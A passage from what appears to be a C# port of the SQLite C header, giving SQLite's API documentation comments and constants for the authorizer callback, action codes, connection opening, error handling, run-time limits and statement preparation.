preparing]\n    ** SQL statements from an untrusted source, to ensure that the SQL statements\n    ** do not try to access data they are not allowed to see, or that they do not\n    ** try to execute malicious statements that damage the database.  For\n    ** example, an application may allow a user to enter arbitrary\n    ** SQL queries for evaluation by a database.  But the application does\n    ** not want the user to be able to make arbitrary changes to the\n    ** database.  An authorizer could then be put in place while the\n    ** user-entered SQL is being [sqlite3_prepare | prepared] that\n    ** disallows everything except [SELECT] statements.\n    **\n    ** Applications that need to process SQL from untrusted sources\n    ** might also consider lowering resource limits using [sqlite3_limit()]\n    ** and limiting database size using the [max_page_count] [PRAGMA]\n    ** in addition to using an authorizer.\n    **\n    ** Only a single authorizer can be in place on a database connection\n    ** at a time.  Each call to sqlite3_set_authorizer overrides the\n    ** previous call.  Disable the authorizer by installing a NULL callback.\n    ** The authorizer is disabled by default.\n    **\n    ** The authorizer callback must not do anything that will modify\n    ** the database connection that invoked the authorizer callback.\n    ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their\n    ** database connections for the meaning of \"modify\" in this paragraph.\n    **\n    ** When [sqlite3_prepare_v2()] is used to prepare a statement, the\n    ** statement might be reprepared during [sqlite3_step()] due to a \n    ** schema change.  Hence, the application should ensure that the\n    ** correct authorizer callback remains in place during the [sqlite3_step()].\n    **\n    ** Note that the authorizer callback is invoked only during\n    ** [sqlite3_prepare()] or its variants.  Authorization is not\n    ** performed during statement evaluation in [sqlite3_step()], unless\n    ** as stated in the previous paragraph, sqlite3_step() invokes\n    ** sqlite3_prepare_v2() to reprepare a statement after a schema change.\n    **\n    ** Requirements:\n    ** [H12501] [H12502] [H12503] [H12504] [H12505] [H12506] [H12507] [H12510]\n    ** [H12511] [H12512] [H12520] [H12521] [H12522]\n    */\n    //SQLITE_API int sqlite3_set_authorizer(\n    //  sqlite3*,\n    //  int (*xAuth)(void*,int,const char*,const char*,const char*,const char*),\n    //  void *pUserData\n    //);\n\n    /*\n    ** CAPI3REF: Authorizer Return Codes {H12590} <H12500>\n    **\n    ** The [sqlite3_set_authorizer | authorizer callback function] must\n    ** return either [SQLITE_OK] or one of these two constants in order\n    ** to signal SQLite whether or not the action is permitted.  See the\n    ** [sqlite3_set_authorizer | authorizer documentation] for additional\n    ** information.\n    */\n    //#define SQLITE_DENY   1   /* Abort the SQL statement with an error */\n    //#define SQLITE_IGNORE 2   /* Don't allow access, but don't generate an error */\n    const int SQLITE_DENY = 1;\n    const int SQLITE_IGNORE = 2;\n\n    /*\n    ** CAPI3REF: Authorizer Action Codes {H12550} <H12500>\n    **\n    ** The [sqlite3_set_authorizer()] interface registers a callback function\n    ** that is invoked to authorize certain SQL statement actions.  The\n    ** second parameter to the callback is an integer code that specifies\n    ** what action is being authorized.  These are the integer action codes that\n    ** the authorizer callback may be passed.\n    **\n    ** These action code values signify what kind of operation is to be\n    ** authorized.  The 3rd and 4th parameters to the authorization\n    ** callback function will be parameters or NULL depending on which of these\n    ** codes is used as the second parameter.  The 5th parameter to the\n    ** authorizer callback is the name of the database (\"main\", \"temp\",\n    ** etc.) if applicable.  The 6th parameter to the authorizer callback\n    ** is the name of the inner-most trigger or view that is responsible for\n    ** the access attempt or NULL if this access attempt is directly from\n    ** top-level SQL code.\n    **\n    ** Requirements:\n    ** [H12551] [H12552] [H12553] [H12554]\n    */\n    /******************************************* 3rd ************ 4th ***********/\n    //#define SQLITE_CREATE_INDEX          1   /* Index Name      Table Name      */\n    //#define SQLITE_CREATE_TABLE          2   /* Table Name      NULL            */\n    //#define SQLITE_CREATE_TEMP_INDEX     3   /* Index Name      Table Name      */\n    //#define SQLITE_CREATE_TEMP_TABLE     4   /* Table Name      NULL            */\n    //#define SQLITE_CREATE_TEMP_TRIGGER   5   /* Trigger Name    Table Name      */\n    //#define SQLITE_CREATE_TEMP_VIEW      6   /* View Name       NULL            */\n    //#define SQLITE_CREATE_TRIGGER        7   /* Trigger Name    Table Name      */\n    //#define SQLITE_CREATE_VIEW           8   /* View Name       NULL            */\n    //#define SQLITE_DELETE                9   /* Table Name      NULL            */\n    //#define SQLITE_DROP_INDEX           10   /* Index Name      Table Name      */\n    //#define SQLITE_DROP_TABLE           11   /* Table Name      NULL            */\n    //#define SQLITE_DROP_TEMP_INDEX      12   /* Index Name      Table Name      */\n    //#define SQLITE_DROP_TEMP_TABLE      13   /* Table Name      NULL            */\n    //#define SQLITE_DROP_TEMP_TRIGGER    14   /* Trigger Name    Table Name      */\n    //#define SQLITE_DROP_TEMP_VIEW       15   /* View Name       NULL            */\n    //#define SQLITE_DROP_TRIGGER         16   /* Trigger Name    Table Name      */\n    //#define SQLITE_DROP_VIEW            17   /* View Name       NULL            */\n    //#define SQLITE_INSERT               18   /* Table Name      NULL            */\n    //#define SQLITE_PRAGMA               19   /* Pragma Name     1st arg or NULL */\n    //#define SQLITE_READ                 20   /* Table Name      Column Name     */\n    //#define SQLITE_SELECT               21   /* NULL            NULL            */\n    //#define SQLITE_TRANSACTION          22   /* Operation       NULL            */\n    //#define SQLITE_UPDATE               23   /* Table Name      Column Name     */\n    //#define SQLITE_ATTACH               24   /* Filename        NULL            */\n    //#define SQLITE_DETACH               25   /* Database Name   NULL            */\n    //#define SQLITE_ALTER_TABLE          26   /* Database Name   Table Name      */\n    //#define SQLITE_REINDEX              27   /* Index Name      NULL            */\n    //#define SQLITE_ANALYZE              28   /* Table Name      NULL            */\n    //#define SQLITE_CREATE_VTABLE        29   /* Table Name      Module Name     */\n    //#define SQLITE_DROP_VTABLE          30   /* Table Name      Module Name     */\n    //#define SQLITE_FUNCTION             31   /* NULL            Function Name   */\n    //#define SQLITE_SAVEPOINT            32   /* Operation       Savepoint Name  */\n    //#define SQLITE_COPY                  0   /* No longer used */\n    const int SQLITE_CREATE_INDEX = 1;\n    const int SQLITE_CREATE_TABLE = 2;\n    const int SQLITE_CREATE_TEMP_INDEX = 3;\n    const int SQLITE_CREATE_TEMP_TABLE = 4;\n    const int SQLITE_CREATE_TEMP_TRIGGER = 5;\n    const int SQLITE_CREATE_TEMP_VIEW = 6;\n    const int SQLITE_CREATE_TRIGGER = 7;\n    const int SQLITE_CREATE_VIEW = 8;\n    const int SQLITE_DELETE = 9;\n    const int SQLITE_DROP_INDEX = 10;\n    const int SQLITE_DROP_TABLE = 11;\n    const int SQLITE_DROP_TEMP_INDEX = 12;\n    const int SQLITE_DROP_TEMP_TABLE = 13;\n    const int SQLITE_DROP_TEMP_TRIGGER = 14;\n    const int SQLITE_DROP_TEMP_VIEW = 15;\n    const int SQLITE_DROP_TRIGGER = 16;\n    const int SQLITE_DROP_VIEW = 17;\n    const int SQLITE_INSERT = 18;\n    const int SQLITE_PRAGMA = 19;\n    const int SQLITE_READ = 20;\n    const int SQLITE_SELECT = 21;\n    const int SQLITE_TRANSACTION = 22;\n    const int SQLITE_UPDATE = 23;\n    const int SQLITE_ATTACH = 24;\n    const int SQLITE_DETACH = 25;\n    const int SQLITE_ALTER_TABLE = 26;\n    const int SQLITE_REINDEX = 27;\n    const int SQLITE_ANALYZE = 28;\n    const int SQLITE_CREATE_VTABLE = 29;\n    const int SQLITE_DROP_VTABLE = 30;\n    const int SQLITE_FUNCTION = 31;\n    const int SQLITE_SAVEPOINT = 32;\n    const int SQLITE_COPY = 0;\n\n    /*\n    ** CAPI3REF: Tracing And Profiling Functions {H12280} <S60400>\n    ** EXPERIMENTAL\n    **\n    ** These routines register callback functions that can be used for\n    ** tracing and profiling the execution of SQL statements.\n    **\n    ** The callback function registered by sqlite3_trace() is invoked at\n    ** various times when an SQL statement is being run by [sqlite3_step()].\n    ** The callback returns a UTF-8 rendering of the SQL statement text\n    ** as the statement first begins executing.  Additional callbacks occur\n    ** as each triggered subprogram is entered.  The callbacks for triggers\n    ** contain a UTF-8 SQL comment that identifies the trigger.\n    **\n    ** The callback function registered by sqlite3_profile() is invoked\n    ** as each SQL statement finishes.  The profile callback contains\n    ** the original statement text and an estimate of wall-clock time\n    ** of how long that statement took to run.\n    **\n    ** Requirements:\n    ** [H12281] [H12282] [H12283] [H12284] [H12285] [H12287] [H12288] [H12289]\n    ** [H12290]\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_trace(sqlite3*, void(*xTrace)(void*,const char*), void*);\n    //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_profile(sqlite3*,\n    //   void(*xProfile)(void*,const char*,sqlite3_uint64), void*);\n\n    /*\n    ** CAPI3REF: Query Progress Callbacks {H12910} <S60400>\n    **\n    ** This routine configures a callback function - the\n    ** progress callback - that is invoked periodically during long\n    ** running calls to [sqlite3_exec()], [sqlite3_step()] and\n    ** [sqlite3_get_table()].  An example use for this\n    ** interface is to keep a GUI updated during a large query.\n    **\n    ** If the progress callback returns non-zero, the operation is\n    ** interrupted.  This feature can be used to implement a\n    ** \"Cancel\" button on a GUI progress dialog box.\n    **\n    ** The progress handler must not do anything that will modify\n    ** the database connection that invoked the progress handler.\n    ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their\n    ** database connections for the meaning of \"modify\" in this paragraph.\n    **\n    ** Requirements:\n    ** [H12911] [H12912] [H12913] [H12914] [H12915] [H12916] [H12917] [H12918]\n    **\n    */\n    //SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);\n\n    /*\n    ** CAPI3REF: Opening A New Database Connection {H12700} <S40200>\n    **\n    ** These routines open an SQLite database file whose name is given by the\n    ** filename argument. The filename argument is interpreted as UTF-8 for\n    ** sqlite3_open() and sqlite3_open_v2() and as UTF-16 in the native byte\n    ** order for sqlite3_open16(). A [database connection] handle is usually\n    ** returned in *ppDb, even if an error occurs.  The only exception is that\n    ** if SQLite is unable to allocate memory to hold the [sqlite3] object,\n    ** a NULL will be written into *ppDb instead of a pointer to the [sqlite3]\n    ** object. If the database is opened (and/or created) successfully, then\n    ** [SQLITE_OK] is returned.  Otherwise an [error code] is returned.  The\n    ** [sqlite3_errmsg()] or [sqlite3_errmsg16()] routines can be used to obtain\n    ** an English language description of the error.\n    **\n    ** The default encoding for the database will be UTF-8 if\n    ** sqlite3_open() or sqlite3_open_v2() is called and\n    ** UTF-16 in the native byte order if sqlite3_open16() is used.\n    **\n    ** Whether or not an error occurs when it is opened, resources\n    ** associated with the [database connection] handle should be released by\n    ** passing it to [sqlite3_close()] when it is no longer required.\n    **\n    ** The sqlite3_open_v2() interface works like sqlite3_open()\n    ** except that it accepts two additional parameters for additional control\n    ** over the new database connection.  The flags parameter can take one of\n    ** the following three values, optionally combined with the \n    ** [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags:\n    **\n    ** <dl>\n    ** <dt>[SQLITE_OPEN_READONLY]</dt>\n    ** <dd>The database is opened in read-only mode.  If the database does not\n    ** already exist, an error is returned.</dd>\n    **\n    ** <dt>[SQLITE_OPEN_READWRITE]</dt>\n    ** <dd>The database is opened for reading and writing if possible, or reading\n    ** only if the file is write protected by the operating system.  In either\n    ** case the database must already exist, otherwise an error is returned.</dd>\n    **\n    ** <dt>[SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]</dt>\n    ** <dd>The database is opened for reading and writing, and is creates it if\n    ** it does not already exist. This is the behavior that is always used for\n    ** sqlite3_open() and sqlite3_open16().</dd>\n    ** </dl>\n    **\n    ** If the 3rd parameter to sqlite3_open_v2() is not one of the\n    ** combinations shown above or one of the combinations shown above combined\n    ** with the [SQLITE_OPEN_NOMUTEX] or [SQLITE_OPEN_FULLMUTEX] flags,\n    ** then the behavior is undefined.\n    **\n    ** If the [SQLITE_OPEN_NOMUTEX] flag is set, then the database connection\n    ** opens in the multi-thread [threading mode] as long as the single-thread\n    ** mode has not been set at compile-time or start-time.  If the\n    ** [SQLITE_OPEN_FULLMUTEX] flag is set then the database connection opens\n    ** in the serialized [threading mode] unless single-thread was\n    ** previously selected at compile-time or start-time.\n    **\n    ** If the filename is \":memory:\", then a private, temporary in-memory database\n    ** is created for the connection.  This in-memory database will vanish when\n    ** the database connection is closed.  Future versions of SQLite might\n    ** make use of additional special filenames that begin with the \":\" character.\n    ** It is recommended that when a database filename actually does begin with\n    ** a \":\" character you should prefix the filename with a pathname such as\n    ** \"./\" to avoid ambiguity.\n    **\n    ** If the filename is an empty string, then a private, temporary\n    ** on-disk database will be created.  This private database will be\n    ** automatically deleted as soon as the database connection is closed.\n    **\n    ** The fourth parameter to sqlite3_open_v2() is the name of the\n    ** [sqlite3_vfs] object that defines the operating system interface that\n    ** the new database connection should use.  If the fourth parameter is\n    ** a NULL pointer then the default [sqlite3_vfs] object is used.\n    **\n    ** <b>Note to Windows users:</b>  The encoding used for the filename argument\n    ** of sqlite3_open() and sqlite3_open_v2() must be UTF-8, not whatever\n    ** codepage is currently defined.  Filenames containing international\n    ** characters must be converted to UTF-8 prior to passing them into\n    ** sqlite3_open() or sqlite3_open_v2().\n    **\n    ** Requirements:\n    ** [H12701] [H12702] [H12703] [H12704] [H12706] [H12707] [H12709] [H12711]\n    ** [H12712] [H12713] [H12714] [H12717] [H12719] [H12721] [H12723]\n    */\n    //SQLITE_API int sqlite3_open(\n    //  const char *filename,   /* Database filename (UTF-8) */\n    //  sqlite3 **ppDb          /* OUT: SQLite db handle */\n    //);\n    //SQLITE_API int sqlite3_open16(\n    //  const void *filename,   /* Database filename (UTF-16) */\n    //  sqlite3 **ppDb          /* OUT: SQLite db handle */\n    //);\n    //SQLITE_API int sqlite3_open_v2(\n    //  const char *filename,   /* Database filename (UTF-8) */\n    //  sqlite3 **ppDb,         /* OUT: SQLite db handle */\n    //  int flags,              /* Flags */\n    //  const char *zVfs        /* Name of VFS module to use */\n    //);\n\n    /*\n    ** CAPI3REF: Error Codes And Messages {H12800} <S60200>\n    **\n    ** The sqlite3_errcode() interface returns the numeric [result code] or\n    ** [extended result code] for the most recent failed sqlite3_* API call\n    ** associated with a [database connection]. If a prior API call failed\n    ** but the most recent API call succeeded, the return value from\n    ** sqlite3_errcode() is undefined.  The sqlite3_extended_errcode()\n    ** interface is the same except that it always returns the \n    ** [extended result code] even when extended result codes are\n    ** disabled.\n    **\n    ** The sqlite3_errmsg() and sqlite3_errmsg16() return English-language\n    ** text that describes the error, as either UTF-8 or UTF-16 respectively.\n    ** Memory to hold the error message string is managed internally.\n    ** The application does not need to worry about freeing the result.\n    ** However, the error string might be overwritten or deallocated by\n    ** subsequent calls to other SQLite interface functions.\n    **\n    ** When the serialized [threading mode] is in use, it might be the\n    ** case that a second error occurs on a separate thread in between\n    ** the time of the first error and the call to these interfaces.\n    ** When that happens, the second error will be reported since these\n    ** interfaces always report the most recent result.  To avoid\n    ** this, each thread can obtain exclusive use of the [database connection] D\n    ** by invoking [sqlite3_mutex_enter]([sqlite3_db_mutex](D)) before beginning\n    ** to use D and invoking [sqlite3_mutex_leave]([sqlite3_db_mutex](D)) after\n    ** all calls to the interfaces listed here are completed.\n    **\n    ** If an interface fails with SQLITE_MISUSE, that means the interface\n    ** was invoked incorrectly by the application.  In that case, the\n    ** error code and message may or may not be set.\n    **\n    ** Requirements:\n    ** [H12801] [H12802] [H12803] [H12807] [H12808] [H12809]\n    */\n    //SQLITE_API int sqlite3_errcode(sqlite3 *db);\n    //SQLITE_API int sqlite3_extended_errcode(sqlite3 *db);\n    //SQLITE_API const char *sqlite3_errmsg(sqlite3*);\n    //SQLITE_API const void *sqlite3_errmsg16(sqlite3*);\n\n    /*\n    ** CAPI3REF: SQL Statement Object {H13000} <H13010>\n    ** KEYWORDS: {prepared statement} {prepared statements}\n    **\n    ** An instance of this object represents a single SQL statement.\n    ** This object is variously known as a \"prepared statement\" or a\n    ** \"compiled SQL statement\" or simply as a \"statement\".\n    **\n    ** The life of a statement object goes something like this:\n    **\n    ** <ol>\n    ** <li> Create the object using [sqlite3_prepare_v2()] or a related\n    **      function.\n    ** <li> Bind values to [host parameters] using the sqlite3_bind_*()\n    **      interfaces.\n    ** <li> Run the SQL by calling [sqlite3_step()] one or more times.\n    ** <li> Reset the statement using [sqlite3_reset()] then go back\n    **      to step 2.  Do this zero or more times.\n    ** <li> Destroy the object using [sqlite3_finalize()].\n    ** </ol>\n    **\n    ** Refer to documentation on individual methods above for additional\n    ** information.\n    */\n    //typedef struct sqlite3_stmt sqlite3_stmt;\n\n    /*\n    ** CAPI3REF: Run-time Limits {H12760} <S20600>\n    **\n    ** This interface allows the size of various constructs to be limited\n    ** on a connection by connection basis.  The first parameter is the\n    ** [database connection] whose limit is to be set or queried.  The\n    ** second parameter is one of the [limit categories] that define a\n    ** class of constructs to be size limited.  The third parameter is the\n    ** new limit for that construct.  The function returns the old limit.\n    **\n    ** If the new limit is a negative number, the limit is unchanged.\n    ** For the limit category of SQLITE_LIMIT_XYZ there is a \n    ** [limits | hard upper bound]\n    ** set by a compile-time C preprocessor macro named \n    ** [limits | SQLITE_MAX_XYZ].\n    ** (The \"_LIMIT_\" in the name is changed to \"_MAX_\".)\n    ** Attempts to increase a limit above its hard upper bound are\n    ** silently truncated to the hard upper limit.\n    **\n    ** Run time limits are intended for use in applications that manage\n    ** both their own internal database and also databases that are controlled\n    ** by untrusted external sources.  An example application might be a\n    ** web browser that has its own databases for storing history and\n    ** separate databases controlled by JavaScript applications downloaded\n    ** off the Internet.  The internal databases can be given the\n    ** large, default limits.  Databases managed by external sources can\n    ** be given much smaller limits designed to prevent a denial of service\n    ** attack.  Developers might also want to use the [sqlite3_set_authorizer()]\n    ** interface to further control untrusted SQL.  The size of the database\n    ** created by an untrusted script can be contained using the\n    ** [max_page_count] [PRAGMA].\n    **\n    ** New run-time limit categories may be added in future releases.\n    **\n    ** Requirements:\n    ** [H12762] [H12766] [H12769]\n    */\n    //SQLITE_API int sqlite3_limit(sqlite3*, int id, int newVal);\n\n    /*\n    ** CAPI3REF: Run-Time Limit Categories {H12790} <H12760>\n    ** KEYWORDS: {limit category} {limit categories}\n    **\n    ** These constants define various performance limits\n    ** that can be lowered at run-time using [sqlite3_limit()].\n    ** The synopsis of the meanings of the various limits is shown below.\n    ** Additional information is available at [limits | Limits in SQLite].\n    **\n    ** <dl>\n    ** <dt>SQLITE_LIMIT_LENGTH</dt>\n    ** <dd>The maximum size of any string or BLOB or table row.<dd>\n    **\n    ** <dt>SQLITE_LIMIT_SQL_LENGTH</dt>\n    ** <dd>The maximum length of an SQL statement.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_COLUMN</dt>\n    ** <dd>The maximum number of columns in a table definition or in the\n    ** result set of a [SELECT] or the maximum number of columns in an index\n    ** or in an ORDER BY or GROUP BY clause.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_EXPR_DEPTH</dt>\n    ** <dd>The maximum depth of the parse tree on any expression.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_COMPOUND_SELECT</dt>\n    ** <dd>The maximum number of terms in a compound SELECT statement.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_VDBE_OP</dt>\n    ** <dd>The maximum number of instructions in a virtual machine program\n    ** used to implement an SQL statement.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_FUNCTION_ARG</dt>\n    ** <dd>The maximum number of arguments on a function.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_ATTACHED</dt>\n    ** <dd>The maximum number of [ATTACH | attached databases].</dd>\n    **\n    ** <dt>SQLITE_LIMIT_LIKE_PATTERN_LENGTH</dt>\n    ** <dd>The maximum length of the pattern argument to the [LIKE] or\n    ** [GLOB] operators.</dd>\n    **\n    ** <dt>SQLITE_LIMIT_VARIABLE_NUMBER</dt>\n    ** <dd>The maximum number of variables in an SQL statement that can\n    ** be bound.</dd>\n    ** </dl>\n    */\n    //#define SQLITE_LIMIT_LENGTH                    0\n    //#define SQLITE_LIMIT_SQL_LENGTH                1\n    //#define SQLITE_LIMIT_COLUMN                    2\n    //#define SQLITE_LIMIT_EXPR_DEPTH                3\n    //#define SQLITE_LIMIT_COMPOUND_SELECT           4\n    //#define SQLITE_LIMIT_VDBE_OP                   5\n    //#define SQLITE_LIMIT_FUNCTION_ARG              6\n    //#define SQLITE_LIMIT_ATTACHED                  7\n    //#define SQLITE_LIMIT_LIKE_PATTERN_LENGTH       8\n    //#define SQLITE_LIMIT_VARIABLE_NUMBER           9\n    public const int SQLITE_LIMIT_LENGTH = 0;\n    public const int SQLITE_LIMIT_SQL_LENGTH = 1;\n    public const int SQLITE_LIMIT_COLUMN = 2;\n    public const int SQLITE_LIMIT_EXPR_DEPTH = 3;\n    public const int SQLITE_LIMIT_COMPOUND_SELECT = 4;\n    public const int SQLITE_LIMIT_VDBE_OP = 5;\n    public const int SQLITE_LIMIT_FUNCTION_ARG = 6;\n    public const int SQLITE_LIMIT_ATTACHED = 7;\n    public const int SQLITE_LIMIT_LIKE_PATTERN_LENGTH = 8;\n    public const int SQLITE_LIMIT_VARIABLE_NUMBER = 9;\n\n    /*\n    ** CAPI3REF: Compiling An SQL Statement {H13010} <S10000>\n    ** KEYWORDS: {SQL statement compiler}\n    **\n    ** To execute an SQL query, it must first be compiled into a byte-code\n    ** program using one of these routines.\n    **\n    ** The first argument, \"db\", is a [database connection] obtained from a\n    ** prior successful call to [sqlite3_open()], [sqlite3_open_v2()] or\n    ** [sqlite3_open16()].  The database connection must not have been closed.\n    **\n    ** The second argument, \"zSql\", is the statement to be compiled, encoded\n    ** as either UTF-8 or UTF-16.  The sqlite3_prepare() and sqlite3_prepare_v2()\n    ** interfaces use UTF-8, and sqlite3_prepare16() and sqlite3_prepare16_v2()\n    ** use UTF-16.\n    **\n    ** If the nByte argument is less than zero, then zSql is read up to the\n    ** first zero terminator. If nByte is non-negative, then it is the maximum\n    ** number of  bytes read from zSql.  When nByte is non-negative, the\n    ** zSql string ends at either the first '\\000' or '\\u0000' character or\n    ** the nByte-th byte, whichever comes first. If the caller knows\n    ** that the supplied string is nul-terminated, then there is a small\n    ** performance advantage to be gained by passing an nByte parameter that\n    ** is equal to the number of bytes in the input string <i>including</i>\n    ** the nul-terminator bytes.\n    **\n    ** If pzTail is not NULL then *pzTail is made to point to the first byte\n    ** past the end of the first SQL statement in zSql.  These routines only\n    ** compile the first statement in zSql, so *pzTail is left pointing to\n    ** what remains uncompiled.\n    **\n    ** *ppStmt is left pointing to a compiled [prepared statement] that can be\n    ** executed using [sqlite3_step()].  If there is an error, *ppStmt is set\n    ** to NULL.  If the input text contains no SQL (if the input is an empty\n    ** string or a comment) then *ppStmt is set to NULL.\n    ** The calling procedure is responsible for deleting the compiled\n    ** SQL statement using [sqlite3_finalize()] after it has finished with it.\n    ** ppStmt may not be NULL.\n    **\n    ** On success, [SQLITE_OK] is returned, otherwise an [error code] is returned.\n    **\n    ** The sqlite3_prepare_v2() and sqlite3_prepare16_v2() interfaces are\n    ** recommended for all new programs. The two older interfaces are retained\n    ** for backwards compatibility, but their use is discouraged.\n    ** In the \"v2\" interfaces, the prepared statement\n    ** that is returned (the [sqlite3_stmt] object) contains a copy of the\n    ** original SQL text. This causes the [sqlite3_step()] interface to\n    ** behave a differently in two ways:\n    **\n    ** <ol>\n    ** <li>\n    ** If the database schema changes, instead of returning [SQLITE_SCHEMA] as it\n    ** always used to do, [sqlite3_step()] will automatically recompile the SQL\n    ** statement and try to run it again.  If the schema has changed in\n    ** a way that makes the statement no longer valid, [sqlite3_step()] will still\n    ** return [SQLITE_SCHEMA].  But unlike the legacy behavior, [SQLITE_SCHEMA] is\n    ** now a fatal error.  Calling [sqlite3_prepare_v2()] again will not make the\n    ** error go away.  Note: use [sqlite3_errmsg()] to find the text\n    ** of the parsing error that results in an [SQLITE_SCHEMA] return.\n    ** </li>\n    **\n    ** <li>\n    ** When an error occurs, [sqlite3_step()] will return one of the detailed\n    ** [error codes] or [extended error codes].  The legacy behavior was that\n    ** [sqlite3_step()] would only return a generic [SQLITE_ERROR] result code\n    ** and you would have to make a second call to [sqlite3_reset()] in order\n    ** to find the underlying cause of the problem. With the \"v2\" prepare\n    ** interfaces, the underlying reason for the error is returned immediately.\n    ** </li>\n    ** </ol>\n    **\n    ** Requirements:\n    ** [H13011] [H13012] [H13013] [H13014] [H13015] [H13016] [H13019] [H13021]\n    **\n    */\n    //SQLITE_API int sqlite3_prepare(\n    //  sqlite3 *db,            /* Database handle */\n    //  const char *zSql,       /* SQL statement, UTF-8 encoded */\n    //  int nByte,              /* Maximum length of zSql in bytes. */\n    //  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */\n    //  const char **pzTail     /* OUT: Pointer to unused portion of zSql */\n    //);\n    //SQLITE_API int sqlite3_prepare_v2(\n    //  sqlite3 *db,            /* Database handle */\n    //  const char *zSql,       /* SQL statement, UTF-8 encoded */\n    //  int nByte,              /* Maximum length of zSql in bytes. */\n    //  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */\n    //  const char **pzTail     /* OUT: Pointer to unused portion of zSql */\n    //);\n    //SQLITE_API int sqlite3_prepare16(\n    //  sqlite3 *db,            /* Database handle */\n    //  const void *zSql,       /* SQL statement, UTF-16 encoded */\n    //  int nByte,              /* Maximum length of zSql in bytes. */\n    //  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */\n    //  const void **pzTail     /* OUT: Pointer to unused portion of zSql */\n    //);\n    //SQLITE_API int sqlite3_prepare16_v2(\n    //  sqlite3 *db,            /* Database handle */\n    //  const void *zSql,       /* SQL statement, UTF-16 encoded */\n    //  int nByte,              /* Maximum length of zSql in bytes. */\n    //  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */\n    //  const void **pzTail     /* OUT: Pointer to unused portion of zSql */\n    //);\n\n    /*\n    ** CAPI3REF: Retrieving Statement SQL {H13100} <H13000>\n    **\n    ** This interface can be used to retrieve a saved copy of the original\n    ** SQL text used to create a [prepared statement] if that statement was\n    ** compiled using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()].\n    **\n    ** Requirements:\n    ** [H13101] [H13102] [H13103]\n    */\n    //SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Dynamically Typed Value Object {H15000} <S20200>\n    ** KEYWORDS: {protected sqlite3_value} {unprotected sqlite3_value}\n    **\n    ** SQLite uses the sqlite3_value object to represent all values\n    ** that can be stored in a database table. SQLite uses dynamic typing\n    ** for the values it stores. Values stored in sqlite3_value objects\n    ** can be integers, floating point values, strings, BLOBs, or NULL.\n    **\n    ** An sqlite3_value object may be either \"protected\" or \"unprotected\".\n    ** Some interfaces require a protected sqlite3_value.  Other interfaces\n    ** will accept either a protected or an unprotected sqlite3_value.\n    ** Every interface that accepts sqlite3_value arguments specifies\n    ** whether or not it requires a protected sqlite3_value.\n    **\n    ** The terms \"protected\" and \"unprotected\" refer to whether or not\n    ** a mutex is held.  A internal mutex is held for a protected\n    ** sqlite3_value object but no mutex is held for an unprotected\n    ** sqlite3_value object.  If SQLite is compiled to be single-threaded\n    ** (with [SQLITE_THREADSAFE=0] and with [sqlite3_threadsafe()] returning 0)\n    ** or if SQLite is run in one of reduced mutex modes \n    ** [SQLITE_CONFIG_SINGLETHREAD] or [SQLITE_CONFIG_MULTITHREAD]\n    ** then there is no distinction between protected and unprotected\n    ** sqlite3_value objects and they can be used interchangeably.  However,\n    ** for maximum code portability it is recommended that applications\n    ** still make the distinction between between protected and unprotected\n    ** sqlite3_value objects even when not strictly required.\n    **\n    ** The sqlite3_value objects that are passed as parameters into the\n    ** implementation of [application-defined SQL functions] are protected.\n    ** The sqlite3_value object returned by\n    ** [sqlite3_column_value()] is unprotected.\n    ** Unprotected sqlite3_value objects may only be used with\n    ** [sqlite3_result_value()] and [sqlite3_bind_value()].\n    ** The [sqlite3_value_blob | sqlite3_value_type()] family of\n    ** interfaces require protected sqlite3_value objects.\n    */\n    //typedef struct Mem sqlite3_value;\n\n    /*\n    ** CAPI3REF: SQL Function Context Object {H16001} <S20200>\n    **\n    ** The context in which an SQL function executes is stored in an\n    ** sqlite3_context object.  A pointer to an sqlite3_context object\n    ** is always first parameter to [application-defined SQL functions].\n    ** The application-defined SQL function implementation will pass this\n    ** pointer through into calls to [sqlite3_result_int | sqlite3_result()],\n    ** [sqlite3_aggregate_context()], [sqlite3_user_data()],\n    ** [sqlite3_context_db_handle()], [sqlite3_get_auxdata()],\n    ** and/or [sqlite3_set_auxdata()].\n    */\n    //typedef struct sqlite3_context sqlite3_context;\n\n    /*\n    ** CAPI3REF: Binding Values To Prepared Statements {H13500} <S70300>\n    ** KEYWORDS: {host parameter} {host parameters} {host parameter name}\n    ** KEYWORDS: {SQL parameter} {SQL parameters} {parameter binding}\n    **\n    ** In the SQL strings input to [sqlite3_prepare_v2()] and its variants,\n    ** literals may be replaced by a [parameter] in one of these forms:\n    **\n    ** <ul>\n    ** <li>  ?\n    ** <li>  ?NNN\n    ** <li>  :VVV\n    ** <li>  @VVV\n    ** <li>  $VVV\n    ** </ul>\n    **\n    ** In the parameter forms shown above NNN is an integer literal,\n    ** and VVV is an alpha-numeric parameter name. The values of these\n    ** parameters (also called \"host parameter names\" or \"SQL parameters\")\n    ** can be set using the sqlite3_bind_*() routines defined here.\n    **\n    ** The first argument to the sqlite3_bind_*() routines is always\n    ** a pointer to the [sqlite3_stmt] object returned from\n    ** [sqlite3_prepare_v2()] or its variants.\n    **\n    ** The second argument is the index of the SQL parameter to be set.\n    ** The leftmost SQL parameter has an index of 1.  When the same named\n    ** SQL parameter is used more than once, second and subsequent\n    ** occurrences have the same index as the first occurrence.\n    ** The index for named parameters can be looked up using the\n    ** [sqlite3_bind_parameter_index()] API if desired.  The index\n    ** for \"?NNN\" parameters is the value of NNN.\n    ** The NNN value must be between 1 and the [sqlite3_limit()]\n    ** parameter [SQLITE_LIMIT_VARIABLE_NUMBER] (default value: 999).\n    **\n    ** The third argument is the value to bind to the 